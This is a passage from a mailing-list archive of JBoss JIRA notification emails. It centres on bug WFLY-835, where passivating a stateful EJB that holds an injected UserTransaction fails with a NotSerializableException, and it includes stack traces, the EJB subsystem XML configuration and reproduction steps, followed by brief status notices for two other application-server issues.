	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.river.BlockMarshaller.doWriteObject(BlockMarshaller.java:69)
	at org.jboss.marshalling.river.BlockMarshaller.writeObject(BlockMarshaller.java:60)
	at org.jboss.marshalling.MarshallerObjectOutputStream.writeObjectOverride(MarshallerObjectOutputStream.java:54)
	at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:342) [rt.jar:1.7.0_13]
	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl.writeObject(SerializationGroupMemberImpl.java:368) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_13]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_13]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_13]
	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_13]
	at org.jboss.marshalling.reflect.SerializableClass.callWriteObject(SerializableClass.java:175)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1007)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.AbstractObjectOutput.writeObject(AbstractObjectOutput.java:62)
	at org.jboss.marshalling.AbstractMarshaller.writeObject(AbstractMarshaller.java:119)
	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:239) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	... 15 more
Caused by: an exception which occurred:
	in field userTransaction
	in field instance
	in field instance
	in object org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl at 6a4de0c9


The EJB subsystem configuration is:

<subsystem xmlns="urn:jboss:domain:ejb3:1.2">
            <session-bean>
                <stateless>
                    <bean-instance-pool-ref pool-name="slsb-strict-max-pool"/>
                </stateless>
                <stateful default-access-timeout="10000" cache-ref="passivating"/>
                <singleton default-access-timeout="5000"/>
            </session-bean>
            <mdb>
                <resource-adapter-ref resource-adapter-name="hornetq-ra"/>
                <bean-instance-pool-ref pool-name="mdb-strict-max-pool"/>
            </mdb>
            <pools>
                <bean-instance-pools>
                    <strict-max-pool name="slsb-strict-max-pool" max-pool-size="50" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                    <strict-max-pool name="mdb-strict-max-pool" max-pool-size="20" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                </bean-instance-pools>
            </pools>
            <caches>
                <cache name="simple" aliases="NoPassivationCache"/>
                <cache name="passivating" passivation-store-ref="file" aliases="SimpleStatefulCache"/>
            </caches>
            <passivation-stores>
                <file-passivation-store name="file" idle-timeout="10" idle-timeout-unit="SECONDS"/>
            </passivation-stores>
            <async thread-pool-name="default"/>
            <timer-service thread-pool-name="default">
                <data-store path="timer-service-data" relative-to="jboss.server.data.dir"/>
            </timer-service>
            <remote connector-ref="remoting-connector" thread-pool-name="default"/>
            <thread-pools>
                <thread-pool name="default">
                    <max-threads count="100"/>
                    <keepalive-time time="100" unit="milliseconds"/>
                </thread-pool>
            </thread-pools>
            <iiop enable-by-default="false" use-qualified-name="false"/>
        </subsystem>



    Steps to Reproduce: 
- Jboss 7.1.1 Final started as standalone full.

- EJB subsystem configuration:

{code:xml}
<subsystem xmlns="urn:jboss:domain:ejb3:1.2">
            <session-bean>
                <stateless>
                    <bean-instance-pool-ref pool-name="slsb-strict-max-pool"/>
                </stateless>
                <stateful default-access-timeout="10000" cache-ref="passivating"/>
                <singleton default-access-timeout="5000"/>
            </session-bean>
            <mdb>
                <resource-adapter-ref resource-adapter-name="hornetq-ra"/>
                <bean-instance-pool-ref pool-name="mdb-strict-max-pool"/>
            </mdb>
            <pools>
                <bean-instance-pools>
                    <strict-max-pool name="slsb-strict-max-pool" max-pool-size="50" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                    <strict-max-pool name="mdb-strict-max-pool" max-pool-size="20" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                </bean-instance-pools>
            </pools>
            <caches>
                <cache name="simple" aliases="NoPassivationCache"/>
                <cache name="passivating" passivation-store-ref="file" aliases="SimpleStatefulCache"/>
            </caches>
            <passivation-stores>
                <file-passivation-store name="file" idle-timeout="10" idle-timeout-unit="SECONDS"/>
            </passivation-stores>
            <async thread-pool-name="default"/>
            <timer-service thread-pool-name="default">
                <data-store path="timer-service-data" relative-to="jboss.server.data.dir"/>
            </timer-service>
            <remote connector-ref="remoting-connector" thread-pool-name="default"/>
            <thread-pools>
                <thread-pool name="default">
                    <max-threads count="100"/>
                    <keepalive-time time="100" unit="milliseconds"/>
                </thread-pool>
            </thread-pools>
            <iiop enable-by-default="false" use-qualified-name="false"/>
        </subsystem>
{code}

- Create a statefull EJB with EntityManager injected as @PersistenceContext and UserTransaction injected as @Resource. Set the TransactionManagement as TransactionManagementType.BEAN

10 seconds after the instantiation of the EJB, it will be passivated and this exception will be launched.

  was:
- Jboss 7.1.1 Final started as standalone full.

- EJB subsystem configuration:

<subsystem xmlns="urn:jboss:domain:ejb3:1.2">
            <session-bean>
                <stateless>
                    <bean-instance-pool-ref pool-name="slsb-strict-max-pool"/>
                </stateless>
                <stateful default-access-timeout="10000" cache-ref="passivating"/>
                <singleton default-access-timeout="5000"/>
            </session-bean>
            <mdb>
                <resource-adapter-ref resource-adapter-name="hornetq-ra"/>
                <bean-instance-pool-ref pool-name="mdb-strict-max-pool"/>
            </mdb>
            <pools>
                <bean-instance-pools>
                    <strict-max-pool name="slsb-strict-max-pool" max-pool-size="50" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                    <strict-max-pool name="mdb-strict-max-pool" max-pool-size="20" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                </bean-instance-pools>
            </pools>
            <caches>
                <cache name="simple" aliases="NoPassivationCache"/>
                <cache name="passivating" passivation-store-ref="file" aliases="SimpleStatefulCache"/>
            </caches>
            <passivation-stores>
                <file-passivation-store name="file" idle-timeout="10" idle-timeout-unit="SECONDS"/>
            </passivation-stores>
            <async thread-pool-name="default"/>
            <timer-service thread-pool-name="default">
                <data-store path="timer-service-data" relative-to="jboss.server.data.dir"/>
            </timer-service>
            <remote connector-ref="remoting-connector" thread-pool-name="default"/>
            <thread-pools>
                <thread-pool name="default">
                    <max-threads count="100"/>
                    <keepalive-time time="100" unit="milliseconds"/>
                </thread-pool>
            </thread-pools>
            <iiop enable-by-default="false" use-qualified-name="false"/>
        </subsystem>

- Create a statefull EJB with EntityManager injected as @PersistenceContext and UserTransaction injected as @Resource. Set the TransactionManagement as TransactionManagementType.BEAN

10 seconds after the instantiation of the EJB, it will be passivated and this exception will be launched.



Edited for readability
                
> @Resource UserTransaction error when file passivation store is selected
> -----------------------------------------------------------------------
>
>                 Key: WFLY-835
>                 URL: https://issues.jboss.org/browse/WFLY-835
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: Ubuntu 11.10, Intel? Core? i3-2120 CPU @ 3.30GHz ? 4 
>            Reporter: Abraham Cabanillas Piera
>            Assignee: jaikiran pai
>            Priority: Critical
>              Labels: jboss
>
> The following exception is launched when the server tries to passivate into the file passivation storage a stateful EJB session with UserTransaction injected as a resource:
> {noformat}
> [org.jboss.as.ejb3.cache.spi.impl.PassivateTask] (pool-10-thread-1) JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}: java.lang.RuntimeException: JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}
> 	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:248) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:52) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.SimpleBackingCacheEntryStore.passivate(SimpleBackingCacheEntryStore.java:155) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:288) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:50) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:190) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:60) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.spi.impl.PassivateTask.run(PassivateTask.java:45) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_13]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_13]
> Caused by: java.io.NotSerializableException: org.jboss.tm.usertx.client.ServerVMClientUserTransaction
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:891)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.river.BlockMarshaller.doWriteObject(BlockMarshaller.java:69)
> 	at org.jboss.marshalling.river.BlockMarshaller.writeObject(BlockMarshaller.java:60)
> 	at org.jboss.marshalling.MarshallerObjectOutputStream.writeObjectOverride(MarshallerObjectOutputStream.java:54)
> 	at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:342) [rt.jar:1.7.0_13]
> 	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl.writeObject(SerializationGroupMemberImpl.java:368) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_13]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_13]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_13]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_13]
> 	at org.jboss.marshalling.reflect.SerializableClass.callWriteObject(SerializableClass.java:175)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1007)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.AbstractObjectOutput.writeObject(AbstractObjectOutput.java:62)
> 	at org.jboss.marshalling.AbstractMarshaller.writeObject(AbstractMarshaller.java:119)
> 	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:239) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	... 15 more
> Caused by: an exception which occurred:
> 	in field userTransaction
> 	in field instance
> 	in field instance
> 	in object org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl at 6a4de0c9
> {noformat}
> The EJB subsystem configuration is:
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:ejb3:1.2">
>             <session-bean>
>                 <stateless>
>                     <bean-instance-pool-ref pool-name="slsb-strict-max-pool"/>
>                 </stateless>
>                 <stateful default-access-timeout="10000" cache-ref="passivating"/>
>                 <singleton default-access-timeout="5000"/>
>             </session-bean>
>             <mdb>
>                 <resource-adapter-ref resource-adapter-name="hornetq-ra"/>
>                 <bean-instance-pool-ref pool-name="mdb-strict-max-pool"/>
>             </mdb>
>             <pools>
>                 <bean-instance-pools>
>                     <strict-max-pool name="slsb-strict-max-pool" max-pool-size="50" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
>                     <strict-max-pool name="mdb-strict-max-pool" max-pool-size="20" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
>                 </bean-instance-pools>
>             </pools>
>             <caches>
>                 <cache name="simple" aliases="NoPassivationCache"/>
>                 <cache name="passivating" passivation-store-ref="file" aliases="SimpleStatefulCache"/>
>             </caches>
>             <passivation-stores>
>                 <file-passivation-store name="file" idle-timeout="10" idle-timeout-unit="SECONDS"/>
>             </passivation-stores>
>             <async thread-pool-name="default"/>
>             <timer-service thread-pool-name="default">
>                 <data-store path="timer-service-data" relative-to="jboss.server.data.dir"/>
>             </timer-service>
>             <remote connector-ref="remoting-connector" thread-pool-name="default"/>
>             <thread-pools>
>                 <thread-pool name="default">
>                     <max-threads count="100"/>
>                     <keepalive-time time="100" unit="milliseconds"/>
>                 </thread-pool>
>             </thread-pools>
>             <iiop enable-by-default="false" use-qualified-name="false"/>
>         </subsystem>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep 20 12:41:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 12:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-835) @Resource UserTransaction
 error when file passivation store is selected
In-Reply-To: <JIRA.12486327.1362495445000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486327.1362495445000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486327.1362495445000.37676.1379695263462@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-835?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806131#comment-12806131 ] 

David Lloyd commented on WFLY-835:
----------------------------------

Is it possible to replicate the issue with your EJB on the WildFly master branch? I think it's possible this issue has already been fixed.
                
> @Resource UserTransaction error when file passivation store is selected
> -----------------------------------------------------------------------
>
>                 Key: WFLY-835
>                 URL: https://issues.jboss.org/browse/WFLY-835
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: Ubuntu 11.10, Intel? Core? i3-2120 CPU @ 3.30GHz ? 4 
>            Reporter: Abraham Cabanillas Piera
>            Assignee: jaikiran pai
>            Priority: Critical
>              Labels: jboss
>
> The following exception is launched when the server tries to passivate into the file passivation storage a stateful EJB session with UserTransaction injected as a resource:
> {noformat}
> [org.jboss.as.ejb3.cache.spi.impl.PassivateTask] (pool-10-thread-1) JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}: java.lang.RuntimeException: JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}
> 	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:248) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:52) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.SimpleBackingCacheEntryStore.passivate(SimpleBackingCacheEntryStore.java:155) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:288) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:50) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:190) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:60) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.as.ejb3.cache.spi.impl.PassivateTask.run(PassivateTask.java:45) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_13]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_13]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_13]
> Caused by: java.io.NotSerializableException: org.jboss.tm.usertx.client.ServerVMClientUserTransaction
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:891)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.river.BlockMarshaller.doWriteObject(BlockMarshaller.java:69)
> 	at org.jboss.marshalling.river.BlockMarshaller.writeObject(BlockMarshaller.java:60)
> 	at org.jboss.marshalling.MarshallerObjectOutputStream.writeObjectOverride(MarshallerObjectOutputStream.java:54)
> 	at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:342) [rt.jar:1.7.0_13]
> 	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl.writeObject(SerializationGroupMemberImpl.java:368) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_13]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_13]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_13]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_13]
> 	at org.jboss.marshalling.reflect.SerializableClass.callWriteObject(SerializableClass.java:175)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1007)
> 	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
> 	at org.jboss.marshalling.AbstractObjectOutput.writeObject(AbstractObjectOutput.java:62)
> 	at org.jboss.marshalling.AbstractMarshaller.writeObject(AbstractMarshaller.java:119)
> 	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:239) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
> 	... 15 more
> Caused by: an exception which occurred:
> 	in field userTransaction
> 	in field instance
> 	in field instance
> 	in object org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl at 6a4de0c9
> {noformat}
> The EJB subsystem configuration is:
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:ejb3:1.2">
>             <session-bean>
>                 <stateless>
>                     <bean-instance-pool-ref pool-name="slsb-strict-max-pool"/>
>                 </stateless>
>                 <stateful default-access-timeout="10000" cache-ref="passivating"/>
>                 <singleton default-access-timeout="5000"/>
>             </session-bean>
>             <mdb>
>                 <resource-adapter-ref resource-adapter-name="hornetq-ra"/>
>                 <bean-instance-pool-ref pool-name="mdb-strict-max-pool"/>
>             </mdb>
>             <pools>
>                 <bean-instance-pools>
>                     <strict-max-pool name="slsb-strict-max-pool" max-pool-size="50" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
>                     <strict-max-pool name="mdb-strict-max-pool" max-pool-size="20" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
>                 </bean-instance-pools>
>             </pools>
>             <caches>
>                 <cache name="simple" aliases="NoPassivationCache"/>
>                 <cache name="passivating" passivation-store-ref="file" aliases="SimpleStatefulCache"/>
>             </caches>
>             <passivation-stores>
>                 <file-passivation-store name="file" idle-timeout="10" idle-timeout-unit="SECONDS"/>
>             </passivation-stores>
>             <async thread-pool-name="default"/>
>             <timer-service thread-pool-name="default">
>                 <data-store path="timer-service-data" relative-to="jboss.server.data.dir"/>
>             </timer-service>
>             <remote connector-ref="remoting-connector" thread-pool-name="default"/>
>             <thread-pools>
>                 <thread-pool name="default">
>                     <max-threads count="100"/>
>                     <keepalive-time time="100" unit="milliseconds"/>
>                 </thread-pool>
>             </thread-pools>
>             <iiop enable-by-default="false" use-qualified-name="false"/>
>         </subsystem>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep 20 13:50:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 13:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5132) Connection timeout to local
 port 9999 with clustered AS 7.1.1.Final
In-Reply-To: <JIRA.12469992.1341600408000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469992.1341600408000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469992.1341600408000.37725.1379699404319@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5132?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806141#comment-12806141 ] 

RH Bugzilla Integration commented on AS7-5132:
----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> changed the Status of [bug 900988|https://bugzilla.redhat.com/show_bug.cgi?id=900988] from NEW to ON_QA
                
> Connection timeout to local port 9999 with clustered AS 7.1.1.Final
> -------------------------------------------------------------------
>
>                 Key: AS7-5132
>                 URL: https://issues.jboss.org/browse/AS7-5132
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 7.1.1.Final
>         Environment: Fedora 17 on Amazon EC2
>            Reporter: Jack Lund
>            Assignee: Emanuel Muckenhuber
>              Labels: as7, cluster, domain
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> A clustered configuration of two AS 7 instances has an issue with the connection to port 9999 timing out when starting up. The instances are configured as per https://docs.jboss.org/author/display/AS71/AS7+Cluster+Howto. On startup, we get the following error randomly for one or more of the server instances:
> {quote}
> [Server:server-two] 16:36:03,492 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.host.controller.client: org.jboss.msc.service.StartException in service jboss.host.controller.client: java.net.ConnectException: JBAS012144: Could not connect to remote://10.108.25.156:9999. The connection timed out
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerClient.start(HostControllerServerClient.java:161) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> [Server:server-two]           at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> [Server:server-two]           at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) [rt.jar:1.7.0_05]
> [Server:server-two]           at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) [rt.jar:1.7.0_05]
> [Server:server-two]           at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_05]
> [Server:server-two] Caused by: java.net.ConnectException: JBAS012144: Could not connect to remote://nephele-beta-jboss1:9999. The connection timed out
> [Server:server-two]           at org.jboss.as.protocol.ProtocolChannelClient.connectSync(ProtocolChannelClient.java:155) [jboss-as-protocol-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerConnection.openChannel(HostControllerServerConnection.java:158) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerConnection.connect(HostControllerServerConnection.java:86) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerClient.start(HostControllerServerClient.java:135) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           ... 5 more
> {quote}
> We usually have to restart the master server instance 10-15 times before all server instances start up without this error, which suggests a race condition between the listening and connecting sockets. Note that this is running on the equivalent of a single-core, fairly slow machine currently, which may be exacerbating the effects.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:50:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 13:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5350)
 CliArgumentsTestCase.testWrongControler always fails on windows
In-Reply-To: <JIRA.12472341.1344851689000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12472341.1344851689000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12472341.1344851689000.37729.1379699404481@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5350?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806142#comment-12806142 ] 

RH Bugzilla Integration commented on AS7-5350:
----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> changed the Status of [bug 900988|https://bugzilla.redhat.com/show_bug.cgi?id=900988] from NEW to ON_QA
                
> CliArgumentsTestCase.testWrongControler always fails on windows
> ---------------------------------------------------------------
>
>                 Key: AS7-5350
>                 URL: https://issues.jboss.org/browse/AS7-5350
>             Project: Application Server 7
